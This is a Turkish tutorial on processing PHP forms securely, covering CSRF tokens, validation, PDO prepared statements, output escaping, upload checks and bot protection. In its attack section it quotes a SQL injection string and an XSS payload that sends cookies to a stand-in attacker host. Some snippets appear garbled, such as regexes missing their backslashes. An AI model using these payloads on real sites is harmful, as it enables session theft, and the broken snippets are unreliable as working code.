PHP İLE GÜVENLİ FORM İŞLEMEK

PHP ile güvenli form işleme; doğrulama, output escaping, prepared statement ve CSRF token gibi katmanları bir arada kullanarak SQL injection, XSS (cross-site scripting) ve CSRF gibi riskleri sistematik şekilde azaltır. Bu yazıda bu katmanları uygulamalı kod örnekleriyle bir kontrol listesi olarak öğreneceksiniz.
1. Yaygın saldırı tipleri
SQL Injection
Saldırgan form alanına SQL kodu yazar; doğrulama olmadan sorgu çalıştırıldığında veritabanına erişir. En yaygın ve en tehlikeli web saldırılarından biri. Aşağıda kullanılan fonksiyonların imzaları ve doğru parametreleri PHP el kitabında tek tek açıklanıyor.
// Tehlikeli kod
$kullanici = $_POST['kullanici'];
$sorgu = "SELECT * FROM users WHERE name = '$kullanici'";
// Saldırgan girer: ' OR '1'='1
// Sorgu: SELECT * FROM users WHERE name = '' OR '1'='1
// Sonuç: tüm kullanıcılar erişilirXSS (Cross-Site Scripting)
Saldırgan form alanına JavaScript kodu yazar. Doğrulama olmadan kullanıcının tarayıcısında çalıştırılır; oturum çerezi çalınabilir.
// Saldırgan girer: <script>alert('hacked')</script>
// Sayfada gösterilince script çalışır
// Daha kötü: <script>fetch('saldirgan.com?c='+document.cookie)</script>CSRF (Cross-Site Request Forgery)
Kullanıcı giriş yapmışken başka siteden link tıklarsa; arka planda formun otomatik gönderilmesi sağlanabilir. Kullanıcının haberi olmadan işlem yapılır.
E-posta header injection
İletişim formundan e-posta gönderirken; saldırgan e-posta alanına header karakterleri ( ) ekleyip kötü amaçlı e-posta yığını üretebilir.
Dosya yükleme istismarı
Saldırgan PHP dosyası yükler; sunucuda kötü amaçlı kod çalıştırır.
2. Katman 1: HTML form yapısı
Güvenlik HTML'den başlar. Form yapısı doğru kurulmalı.
<form method="POST" action="iletisim.php">
<input type="hidden" name="csrf_token"
value="<?= htmlspecialchars($_SESSION['csrf']) ?>">
<label for="ad">Ad</label>
<input type="text" id="ad" name="ad"
required maxlength="50">
<label for="eposta">E-posta</label>
<input type="email" id="eposta" name="eposta"
required maxlength="100">
<label for="mesaj">Mesaj</label>
<textarea id="mesaj" name="mesaj"
required maxlength="1000"></textarea>
<button type="submit">Gönder</button>
</form>Önemli noktalar:
- method="POST": Veri URL'de görünmez, log'larda kalmaz
- action="iletisim.php": Veri buraya gönderilir
- type="email": Tarayıcı format kontrolü yapar (sunucu doğrulamayı yine yapmalı)
- maxlength: Aşırı uzun veri girişini engeller
- required: Boş gönderimi engeller
- csrf_token: CSRF saldırılarına karşı koruma
Yine de tüm bu HTML kontrolleri sadece kullanıcı dostu; saldırgan bunları kolayca atlatabilir. Asıl güvenlik sunucu tarafında.
3. Katman 2: CSRF token
Form gösterilirken sunucu rastgele bir token üretir; oturuma kaydeder ve forma gizli alan olarak ekler. Form gönderildiğinde gelen token oturumdaki ile karşılaştırılır.
<?php
session_start();
// Form gösterilirken token üret
if (empty($_SESSION['csrf'])) {
$_SESSION['csrf'] = bin2hex(random_bytes(32));
}
// Form gönderildiğinde kontrol et
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (empty($_POST['csrf_token']) ||
!hash_equals($_SESSION['csrf'], $_POST['csrf_token'])) {
die('CSRF doğrulaması başarısız.');
}
// Token doğru, devam et
}
?>Bu yaklaşım başka sitelerden form gönderimini engeller; çünkü saldırgan oturumdaki token'ı bilemez.
4. Katman 3: Veri doğrulama
Gelen veriyi olduğu gibi kabul etmemek. Her alanın beklenen formatı vardır:
<?php
$ad = trim($_POST['ad'] ?? '');
$eposta = trim($_POST['eposta'] ?? '');
$mesaj = trim($_POST['mesaj'] ?? '');
$hatalar = [];
// Ad doğrulama
if (strlen($ad) < 2 || strlen($ad) > 50) {
$hatalar[] = 'Ad 2-50 karakter arası olmalı.';
}
if (!preg_match('/^[p{L}s]+$/u', $ad)) {
$hatalar[] = 'Ad sadece harf içerebilir.';
}
// E-posta doğrulama
if (!filter_var($eposta, FILTER_VALIDATE_EMAIL)) {
$hatalar[] = 'Geçerli e-posta giriniz.';
}
// Mesaj doğrulama
if (strlen($mesaj) < 10 || strlen($mesaj) > 1000) {
$hatalar[] = 'Mesaj 10-1000 karakter arası olmalı.';
}
if (!empty($hatalar)) {
// Hata göster
foreach ($hatalar as $hata) {
echo htmlspecialchars($hata) . '<br>';
}
exit;
}
?>Önemli noktalar:
- trim(): Başında ve sonundaki boşlukları temizler
- filter_var(FILTER_VALIDATE_EMAIL): PHP'nin yerleşik e-posta doğrulama
- preg_match() ile regex: Karakter sınırlamaları
- strlen() ile uzunluk: Aşırı veri engeli
- ?? '' (null coalescing): $_POST tanımsızsa boş döner; warning üretmez
5. Katman 4: SQL Injection koruması (Prepared Statements)
En kritik adım. Veritabanına veri yazılırken/okunurken parametre bağlama (parameter binding) kullanılır. Bu yaklaşımda kullanıcı verisi sorgu olarak değil veri olarak yorumlanır.
PDO ile prepared statement
<?php
try {
$pdo = new PDO('mysql:host=localhost;dbname=test;charset=utf8mb4',
'kullanici', 'sifre', [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_EMULATE_PREPARES => false,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC
]);
$sorgu = $pdo->prepare(
'INSERT INTO mesajlar (ad, eposta, mesaj, tarih)
VALUES (:ad, :eposta, :mesaj, NOW())'
);
$sorgu->execute([
':ad' => $ad,
':eposta' => $eposta,
':mesaj' => $mesaj
]);
} catch (PDOException $e) {
error_log($e->getMessage());
die('Bir hata oluştu.');
}
?>Burada :ad, :eposta, :mesaj placeholder'lardır. execute() ile veriler bağlanır. Saldırgan SQL kodu girse bile veritabanı bunu sorgu olarak değil veri olarak değerlendirir; injection mümkün değil.
MySQLi alternatifi
<?php
$mysqli = new mysqli('localhost', 'user', 'pass', 'db');
$stmt = $mysqli->prepare(
'INSERT INTO mesajlar (ad, eposta, mesaj) VALUES (?, ?, ?)'
);
$stmt->bind_param('sss', $ad, $eposta, $mesaj);
$stmt->execute();
?>PDO modern projeler için daha tercih edilir; çoklu veritabanı desteği var ve syntax temiz.

6. Katman 5: XSS koruması (Output Escaping)
Kullanıcı verisi sayfada gösterilirken HTML olarak yorumlanmamalı. htmlspecialchars() bu işi yapar.
<?php
// Tehlikeli
echo $mesaj;
// Saldırgan girdi: <script>alert('hi')</script>
// Script tarayıcıda çalışır
// Güvenli
echo htmlspecialchars($mesaj, ENT_QUOTES, 'UTF-8');
// <script> karakterleri <script> olur
// Tarayıcıya metin olarak gösterilir, script çalışmaz
?>Pratik kural: kullanıcıdan gelen tüm veri ekrana yazılırken htmlspecialchars() ile escape edilir. Tek istisna: zenginleştirilmiş metin editörü çıktısı (bu durumda HTML Purifier gibi kütüphane kullanılır).
7. Katman 6: E-posta gönderimi
İletişim formundan e-posta gönderirken header injection riski var. Doğru yöntem:
<?php
$eposta = filter_var($_POST['eposta'], FILTER_SANITIZE_EMAIL);
$ad = preg_replace('/[
]+/', '', trim($_POST['ad']));
$mesaj = trim($_POST['mesaj']);
if (!filter_var($eposta, FILTER_VALIDATE_EMAIL)) {
die('Geçersiz e-posta.');
}
$kime = 'admin@siteniz.com';
$konu = 'Yeni iletişim formu mesajı';
$icerik = "Ad: $ad
E-posta: $eposta
Mesaj:
$mesaj";
$headers = "From: noreply@siteniz.com
";
$headers .= "Reply-To: $eposta
";
mail($kime, $konu, $icerik, $headers);
?>Daha modern yaklaşım: PHPMailer veya Symfony Mailer kütüphanesi. SMTP üzerinden güvenli gönderim, otomatik header sanitization.
8. Katman 7: Dosya yükleme güvenliği
Dosya yükleme formu varsa ekstra dikkat:
<?php
$izinli_tipler = ['image/jpeg', 'image/png', 'image/webp'];
$izinli_uzantilar = ['jpg', 'jpeg', 'png', 'webp'];
$maks_boyut = 2 * 1024 * 1024; // 2 MB
if ($_FILES['dosya']['error'] !== UPLOAD_ERR_OK) {
die('Yükleme hatası.');
}
if ($_FILES['dosya']['size'] > $maks_boyut) {
die('Dosya çok büyük.');
}
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime = $finfo->file($_FILES['dosya']['tmp_name']);
if (!in_array($mime, $izinli_tipler)) {
die('İzinli olmayan dosya tipi.');
}
$uzanti = pathinfo($_FILES['dosya']['name'], PATHINFO_EXTENSION);
if (!in_array(strtolower($uzanti), $izinli_uzantilar)) {
die('İzinli olmayan uzantı.');
}
// Güvenli isim üret
$yeni_isim = bin2hex(random_bytes(16)) . '.' . $uzanti;
$hedef = __DIR__ . '/uploads/' . $yeni_isim;
if (!move_uploaded_file($_FILES['dosya']['tmp_name'], $hedef)) {
die('Yükleme başarısız.');
}
?>Önemli kurallar:
- MIME tipi gerçek dosya içeriğinden okunur (kullanıcı isminden değil)
- Uzantı whitelist ile kontrol edilir
- Dosya adı rastgele üretilir (kullanıcının verdiği isim kullanılmaz)
- Yükleme klasörü web kök dışında veya .htaccess ile PHP çalıştırma engellenir
- Boyut sınırı belirlenir
9. Katman 8: Rate limiting
Bot saldırılarına karşı: aynı IP'den dakika başına 5'ten fazla form gönderimi engellenir. Basit cache ile uygulanır:
<?php
$ip = $_SERVER['REMOTE_ADDR'];
$cache_key = 'rate_limit_' . md5($ip);
$count = apcu_fetch($cache_key);
if ($count === false) {
apcu_store($cache_key, 1, 60); // 60 saniye
} elseif ($count >= 5) {
http_response_code(429);
die('Çok fazla istek. Daha sonra deneyin.');
} else {
apcu_inc($cache_key);
}
?>Redis veya Memcached ile production'da daha güçlü rate limiting kurulur.
10. Katman 9: Honeypot tekniği
Bot saldırılarına karşı kullanıcıya görünmeyen ama bot'ların doldurduğu gizli alan:
<!-- HTML -->
<input type="text" name="website"
style="display:none"
tabindex="-1" autocomplete="off"><?php
// Sunucu kontrolü
if (!empty($_POST['website'])) {
// Bot yakalandı; sessizce reddet
exit;
}
?>Gerçek kullanıcı bu alanı dolduramaz; bot otomatik tüm alanları doldurur. Basit ama etkili.
11. Katman 10: reCAPTCHA
Yüksek riskli formlar için Google reCAPTCHA v3 kullanılır. Görünmez çalışır; kullanıcı etkileşimi gerekmez. Sunucu tarafında doğrulama:
<?php
$token = $_POST['recaptcha_token'];
$secret = 'GOOGLE_VERILEN_SECRET';
$response = file_get_contents(
'https://www.google.com/recaptcha/api/siteverify?'
. http_build_query([
'secret' => $secret,
'response' => $token
])
);
$data = json_decode($response, true);
if (!$data['success'] || $data['score'] < 0.5) {
die('Doğrulama başarısız.');
}
?>Score 0-1 arası; 0.5 altı bot olma ihtimali yüksek. Modern bot koruması için reCAPTCHA v3 + honeypot + rate limiting kombinasyonu yeterli.

12. Güvenlik kontrol listesi
- HTML formda CSRF token gizli alan olarak ekli mi?
- Sunucuda CSRF token doğrulanıyor mu?
- Her form alanı için sunucu tarafı doğrulama var mı?
- Veritabanı işlemleri prepared statement ile mi yapılıyor?
- Ekrana basılan kullanıcı verisi htmlspecialchars ile escape ediliyor mu?
- E-posta header'larında karakterleri sanitize ediliyor mu?
- Dosya yüklemede MIME tipi içerikten okunuyor mu?
- Dosya yükleme klasöründe PHP çalıştırma engellenmiş mi?
- Rate limiting aktif mi?
- Honeypot veya reCAPTCHA bot koruması var mı?
- Hata mesajları kullanıcıya çıkıyor mu yoksa log'a mı düşüyor?
- HTTPS zorunlu mu (SSL sertifikası, secure cookie)?
13. Sürdürme Yolu
PHP güvenliği modern bir disiplindir; OWASP Top 10 listesi her yıl güncellenir. Yapıyı sağlam temellere oturtmak için PHP eğitimi programları temel söz diziminden güvenli kod yazımına kadar uygulamalı pratik sağlar.
14. Süreç Akışı
PHP ile güvenli form işlemek; HTML yapı, CSRF token, veri doğrulama, prepared statement, output escaping, e-posta sanitization, dosya yükleme güvenliği, rate limiting, honeypot ve reCAPTCHA olmak üzere on katmanın bir arada kullanılmasıyla mümkün olur. Hiçbiri tek başına yeterli değil; ama hepsi birlikte uygulandığında SQL injection, XSS, CSRF gibi temel saldırılar neredeyse tamamen engellenir. Güvenlik bir kez yapılıp unutulan değil sürekli izlenen bir süreçtir; OWASP Top 10 listesi yıllık takip edilmeli, PHP ve kütüphane güncellemeleri zamanında uygulanmalı.
Sıkça Sorulan Sorular
PDO ile MySQLi arasında hangisini kullanmalı?
PDO modern projelerde tercih edilir. Çoklu veritabanı desteği (MySQL, PostgreSQL, SQLite, SQL Server hepsi), temiz nesne tabanlı syntax ve geniş kullanım. MySQLi sadece MySQL ile çalışır ve daha eski projelerde yaygın. Yeni başlayanlar doğrudan PDO öğrenmeli. Performans farkı önemsiz; tercih kullanım kolaylığı ve esneklik üzerinden yapılır.
filter_var(FILTER_VALIDATE_EMAIL) yeterli mi?
Çoğu durum için evet. PHP'nin yerleşik e-posta doğrulama RFC 5322 standardına uyar; geçerli formatları kabul eder, geçersizleri reddeder. Ama 'e-posta var mı?' sorusunu cevaplamaz; sadece formatı doğrular. Gerçekten var olan e-posta için DNS sorgusu veya double opt-in kullanılır (kullanıcıya onay maili gönderme). Form için filter_var yeterli; e-posta listesi yapıyorsanız double opt-in ekleyin.
htmlspecialchars yerine strip_tags kullansam olur mu?
Olmaz, ikisi farklı şeyler. htmlspecialchars HTML karakterlerini güvenli forma çevirir (< karakterini &lt; yapar); kullanıcının yazdığı < karakteri görünür ama HTML olarak yorumlanmaz. strip_tags ise HTML tag'lerini tamamen siler; kullanıcının yazdığı '<script>'i yok eder. htmlspecialchars veri korumak için, strip_tags veri temizlemek için kullanılır. XSS koruması için htmlspecialchars yeterli ve daha güvenlidir.
reCAPTCHA v3 v2'den daha mı iyi?
Kullanıcı deneyimi açısından çok daha iyi. v2 (checkbox: 'ben robot değilim') kullanıcıyı durdurur. v3 görünmez çalışır; arka planda kullanıcı davranışına göre 0-1 arası skor verir. Sunucuda 0.5 eşiği kabul edilir; düşük skorlu istekler ek doğrulamaya gönderilir veya reddedilir. v3 modern siteler için tercih edilen versiyon.
Honeypot yeterli mi yoksa reCAPTCHA da gerekli mi?
Bağlıdır. Küçük site ve düşük riskli formlar için (örneğin küçük blogun iletişim formu) honeypot yeterli; bot saldırılarının yüzde 80'ini önler. Yüksek riskli formlar (kayıt, ödeme, kupon) için reCAPTCHA + honeypot kombinasyonu önerilir. İkili koruma bot trafiğinin yüzde 99'unu engeller. Kullanıcı deneyimini bozmadan ek koruma sağlar.
Form gönderildikten sonra ne yapılmalı?
POST-Redirect-GET (PRG) pattern uygulanır. Form başarıyla işlendikten sonra header('Location:') ile başka sayfaya yönlendirilir. Bu sayede kullanıcı F5'e basarsa form tekrar gönderilmez; tarayıcı uyarısı çıkmaz. PRG pattern modern web geliştirmenin standart pratiği; her form sonrası uygulanmalı.
Hata mesajları kullanıcıya gösterilmeli mi?
Kullanıcı dostu hata mesajları evet, ama teknik detay asla. 'Bir hata oluştu, lütfen sonra tekrar deneyin' yeterli; 'MySQL connection failed at line 42' kullanıcıya gösterilmez. Detaylı hata bilgisi error_log() ile sunucu log dosyasına yazılır; sadece geliştirici görür. Production ortamında display_errors=Off; development'ta On. Bu iki ortam ayırımı güvenlik için kritik.


